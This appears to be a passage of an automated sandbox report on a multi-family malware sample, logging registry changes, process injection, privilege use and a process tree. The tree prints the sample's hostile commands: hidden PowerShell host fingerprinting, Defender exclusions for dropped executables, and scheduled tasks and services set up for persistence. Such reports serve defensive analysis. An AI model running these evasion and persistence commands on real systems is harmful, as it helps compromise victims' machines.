Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3820	schtasks.exe
1224	schtasks.exe
1340	schtasks.exe
1228	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3820	ProUpdate7dd338.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2800	powershell.exe
2800	powershell.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe
3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2604	powershell.exe
2604	powershell.exe
2604	powershell.exe
3292	powershell.exe
3292	powershell.exe
3292	powershell.exe
4008	powershell.exe
4008	powershell.exe
3244	powershell.exe
3244	powershell.exe
4008	powershell.exe
3244	powershell.exe
4380	powershell.exe
4380	powershell.exe
4380	powershell.exe
4008	powershell.exe
4832	SecurityHealthHost.exe
4832	SecurityHealthHost.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
1592	powershell.exe
1592	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4336	powershell.exe
4336	powershell.exe
4336	powershell.exe
1412	lkitrxkluhep.exe
1412	lkitrxkluhep.exe
1932	tzhg7shnj.exe
1932	tzhg7shnj.exe
4400	NetHost1dcc90.exe
4400	NetHost1dcc90.exe
4728	powershell.exe
4728	powershell.exe
4924	pv6eio00q.exe
4924	pv6eio00q.exe
3840	xw8w8pbs.exe
3840	xw8w8pbs.exe
4728	powershell.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3820	ProUpdate7dd338.exe
3820	ProUpdate7dd338.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
1980	ProUpdate7dd338.exe
1980	ProUpdate7dd338.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
964	ProManagerc7e51.exe
964	ProManagerc7e51.exe
3928	ProManagerc7e51.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3928	ProManagerc7e51.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeIncreaseQuotaPrivilege	1728	powershell.exe
Token: SeSecurityPrivilege	1728	powershell.exe
Token: SeTakeOwnershipPrivilege	1728	powershell.exe
Token: SeLoadDriverPrivilege	1728	powershell.exe
Token: SeSystemProfilePrivilege	1728	powershell.exe
Token: SeSystemtimePrivilege	1728	powershell.exe
Token: SeProfSingleProcessPrivilege	1728	powershell.exe
Token: SeIncBasePriorityPrivilege	1728	powershell.exe
Token: SeCreatePagefilePrivilege	1728	powershell.exe
Token: SeBackupPrivilege	1728	powershell.exe
Token: SeRestorePrivilege	1728	powershell.exe
Token: SeShutdownPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeSystemEnvironmentPrivilege	1728	powershell.exe
Token: SeRemoteShutdownPrivilege	1728	powershell.exe
Token: SeUndockPrivilege	1728	powershell.exe
Token: SeManageVolumePrivilege	1728	powershell.exe
Token: 33	1728	powershell.exe
Token: 34	1728	powershell.exe
Token: 35	1728	powershell.exe
Token: 36	1728	powershell.exe
Token: SeIncreaseQuotaPrivilege	1728	powershell.exe
Token: SeSecurityPrivilege	1728	powershell.exe
Token: SeTakeOwnershipPrivilege	1728	powershell.exe
Token: SeLoadDriverPrivilege	1728	powershell.exe
Token: SeSystemProfilePrivilege	1728	powershell.exe
Token: SeSystemtimePrivilege	1728	powershell.exe
Token: SeProfSingleProcessPrivilege	1728	powershell.exe
Token: SeIncBasePriorityPrivilege	1728	powershell.exe
Token: SeCreatePagefilePrivilege	1728	powershell.exe
Token: SeBackupPrivilege	1728	powershell.exe
Token: SeRestorePrivilege	1728	powershell.exe
Token: SeShutdownPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeSystemEnvironmentPrivilege	1728	powershell.exe
Token: SeRemoteShutdownPrivilege	1728	powershell.exe
Token: SeUndockPrivilege	1728	powershell.exe
Token: SeManageVolumePrivilege	1728	powershell.exe
Token: 33	1728	powershell.exe
Token: 34	1728	powershell.exe
Token: 35	1728	powershell.exe
Token: 36	1728	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	3292	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4008	powershell.exe
Token: SeSecurityPrivilege	4008	powershell.exe
Token: SeTakeOwnershipPrivilege	4008	powershell.exe
Token: SeLoadDriverPrivilege	4008	powershell.exe
Token: SeSystemProfilePrivilege	4008	powershell.exe
Token: SeSystemtimePrivilege	4008	powershell.exe
Token: SeProfSingleProcessPrivilege	4008	powershell.exe
Token: SeIncBasePriorityPrivilege	4008	powershell.exe
Token: SeCreatePagefilePrivilege	4008	powershell.exe
Token: SeBackupPrivilege	4008	powershell.exe
Token: SeRestorePrivilege	4008	powershell.exe
Token: SeShutdownPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeSystemEnvironmentPrivilege	4008	powershell.exe
Token: SeRemoteShutdownPrivilege	4008	powershell.exe
Token: SeUndockPrivilege	4008	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3916	svchost.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe
3928	ProManagerc7e51.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 2800	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	87
PID 3048 wrote to memory of 1728	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	93
PID 3048 wrote to memory of 4684	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	97
PID 4684 wrote to memory of 3468	4684	cmd.exe	99
PID 3468 wrote to memory of 2304	3468	net.exe	100
PID 3048 wrote to memory of 3820	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	146
PID 3048 wrote to memory of 4832	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	103
PID 3048 wrote to memory of 2604	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	104
PID 4832 wrote to memory of 3292	4832	SecurityHealthHost.exe	106
PID 3048 wrote to memory of 3244	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	109
PID 4832 wrote to memory of 4008	4832	SecurityHealthHost.exe	111
PID 3048 wrote to memory of 4380	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	113
PID 4832 wrote to memory of 720	4832	SecurityHealthHost.exe	115
PID 3048 wrote to memory of 2268	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	116
PID 720 wrote to memory of 5088	720	cmd.exe	119
PID 5088 wrote to memory of 1544	5088	net.exe	120
PID 4832 wrote to memory of 1224	4832	SecurityHealthHost.exe	121
PID 4832 wrote to memory of 1592	4832	SecurityHealthHost.exe	168
PID 4832 wrote to memory of 4696	4832	SecurityHealthHost.exe	125
PID 3048 wrote to memory of 1412	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	127
PID 4832 wrote to memory of 4336	4832	SecurityHealthHost.exe	129
PID 3048 wrote to memory of 1932	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	132
PID 1412 wrote to memory of 4400	1412	lkitrxkluhep.exe	133
PID 3048 wrote to memory of 4924	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	134
PID 4832 wrote to memory of 4728	4832	SecurityHealthHost.exe	135
PID 1932 wrote to memory of 1340	1932	tzhg7shnj.exe	169
PID 3048 wrote to memory of 3840	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	139
PID 4924 wrote to memory of 1228	4924	pv6eio00q.exe	140
PID 1932 wrote to memory of 3928	1932	tzhg7shnj.exe	142
PID 3840 wrote to memory of 3588	3840	xw8w8pbs.exe	143
PID 4924 wrote to memory of 3820	4924	pv6eio00q.exe	146
PID 3928 wrote to memory of 4812	3928	ProManagerc7e51.exe	147
PID 3840 wrote to memory of 4928	3840	xw8w8pbs.exe	150
PID 3820 wrote to memory of 2464	3820	ProUpdate7dd338.exe	152
PID 3840 wrote to memory of 3992	3840	xw8w8pbs.exe	156
PID 4832 wrote to memory of 4088	4832	SecurityHealthHost.exe	247
PID 4180 wrote to memory of 2536	4180	AppManagerServicef7ad.exe	160
PID 2536 wrote to memory of 2008	2536	nslookup.exe	235
PID 4832 wrote to memory of 3900	4832	SecurityHealthHost.exe	162
PID 4832 wrote to memory of 3860	4832	SecurityHealthHost.exe	182
PID 4832 wrote to memory of 3424	4832	SecurityHealthHost.exe	165
PID 3424 wrote to memory of 3488	3424	gfcnvv0u3an.exe	167
PID 2536 wrote to memory of 1340	2536	nslookup.exe	169
PID 3424 wrote to memory of 4304	3424	gfcnvv0u3an.exe	171
PID 3424 wrote to memory of 4192	3424	gfcnvv0u3an.exe	173
PID 2836 wrote to memory of 1616	2836	AppManagerServicef7ad.exe	186
PID 2536 wrote to memory of 4588	2536	nslookup.exe	177
PID 2536 wrote to memory of 4528	2536	nslookup.exe	180
PID 2536 wrote to memory of 1980	2536	nslookup.exe	183
PID 2536 wrote to memory of 4712	2536	nslookup.exe	187
PID 2536 wrote to memory of 1984	2536	nslookup.exe	272
PID 2536 wrote to memory of 4844	2536	nslookup.exe	191
PID 2536 wrote to memory of 3668	2536	nslookup.exe	193
PID 2536 wrote to memory of 2992	2536	nslookup.exe	195
PID 2536 wrote to memory of 1168	2536	nslookup.exe	197
PID 2536 wrote to memory of 4196	2536	nslookup.exe	199
PID 2536 wrote to memory of 4048	2536	nslookup.exe	201
PID 2536 wrote to memory of 1592	2536	nslookup.exe	251
PID 2536 wrote to memory of 628	2536	nslookup.exe	253
PID 2536 wrote to memory of 2460	2536	nslookup.exe	207
PID 2536 wrote to memory of 3792	2536	nslookup.exe	209
PID 2536 wrote to memory of 1416	2536	nslookup.exe	211
PID 2536 wrote to memory of 2960	2536	nslookup.exe	266
PID 2536 wrote to memory of 3868	2536	nslookup.exe	215

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3304
- C:\Users\Admin\AppData\Local\Temp\2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
  2⤵
  - Downloads MZ/PE file
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Milliseconds 2500"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -EA SilentlyContinue).Size);$pr=@(Get-Process -EA SilentlyContinue);$w=[bool]($pr|Where-Object {$_.ProcessName -eq 'CExecSvc'});@{g=($g -join '|');d=$d;p=$pr.Count;w=$w;n=(($pr|Select-Object -ExpandProperty ProcessName)-join '|')}|ConvertTo-Json -Compress"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2304
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn SecurityHealthHost /tr C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthHost.exe /sc onlogon /rl limited /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3820
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthHost.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthHost.exe
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Milliseconds 2500"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -EA SilentlyContinue).Size);$pr=@(Get-Process -EA SilentlyContinue);$w=[bool]($pr|Where-Object {$_.ProcessName -eq 'CExecSvc'});@{g=($g -join '|');d=$d;p=$pr.Count;w=$w;n=(($pr|Select-Object -ExpandProperty ProcessName)-join '|')}|ConvertTo-Json -Compress"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:720
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5088
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1544
  - - C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn SecurityHealthHost /tr C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthHost.exe /sc onlogon /rl limited /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"qumlw6esyvm.exe\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:1592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"8bwqhyvt.exe\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:4696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"jmb1u05watv.exe\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:4336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"gfcnvv0u3an.exe\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:4728
  - - C:\Users\Admin\AppData\Local\Temp\qumlw6esyvm.exe
      C:\Users\Admin\AppData\Local\Temp\qumlw6esyvm.exe
      4⤵
      Executes dropped EXE
      PID:4088
  - - C:\Users\Admin\AppData\Local\Temp\8bwqhyvt.exe
      C:\Users\Admin\AppData\Local\Temp\8bwqhyvt.exe
      4⤵
      Executes dropped EXE
      PID:3900
  - - C:\Users\Admin\AppData\Local\Temp\jmb1u05watv.exe
      C:\Users\Admin\AppData\Local\Temp\jmb1u05watv.exe
      4⤵
      Executes dropped EXE
      PID:3860
  - - C:\Users\Admin\AppData\Local\Temp\gfcnvv0u3an.exe
      C:\Users\Admin\AppData\Local\Temp\gfcnvv0u3an.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3424
    - - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" delete "CheckManager_29ce"
        5⤵
        Launches sc.exe
        
        PID:3488
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1592
    - - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" create "CheckManager_29ce" binpath= "C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:4304
    - - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" start "CheckManager_29ce"
        5⤵
        Launches sc.exe
        
        PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"lkitrxkluhep.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"tzhg7shnj.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"pv6eio00q.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:4380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"xw8w8pbs.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:2268
- - C:\Users\Admin\AppData\Local\Temp\lkitrxkluhep.exe
    C:\Users\Admin\AppData\Local\Temp\lkitrxkluhep.exe
    3⤵
    - Executes dropped EXE
    - Registers new Windows logon scripts automatically executed at logon.
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Users\Admin\AppData\Local\Windows\Config\700E238B\NetHost1dcc90.exe
      "C:\Users\Admin\AppData\Local\Windows\Config\700E238B\NetHost1dcc90.exe"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:4400
- - C:\Users\Admin\AppData\Local\Temp\tzhg7shnj.exe
    C:\Users\Admin\AppData\Local\Temp\tzhg7shnj.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "UpdateHost_1117" /tr "C:\Users\Admin\AppData\Roaming\ConfigDAF5\ProManagerc7e51.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1340
  - - C:\Users\Admin\AppData\Roaming\ConfigDAF5\ProManagerc7e51.exe
      "C:\Users\Admin\AppData\Roaming\ConfigDAF5\ProManagerc7e51.exe"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "UpdateHost_1117"
        5⤵
        
        PID:4812
- - C:\Users\Admin\AppData\Local\Temp\pv6eio00q.exe
    C:\Users\Admin\AppData\Local\Temp\pv6eio00q.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "MaintainHost_058f" /tr "C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1228
  - - C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe
      "C:\Users\Admin\AppData\Local\Common\Common\Temp\E8204C9F\ProUpdate7dd338.exe"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3820
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MaintainHost_058f"
        5⤵
        
        PID:2464
- - C:\Users\Admin\AppData\Local\Temp\xw8w8pbs.exe
    C:\Users\Admin\AppData\Local\Temp\xw8w8pbs.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" delete "CheckManager_29ce"
      4⤵
      Launches sc.exe
      PID:3588
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" create "CheckManager_29ce" binpath= "C:\ProgramData\Windows\Config\57AE748E\AppManagerServicef7ad.exe" start= "auto"
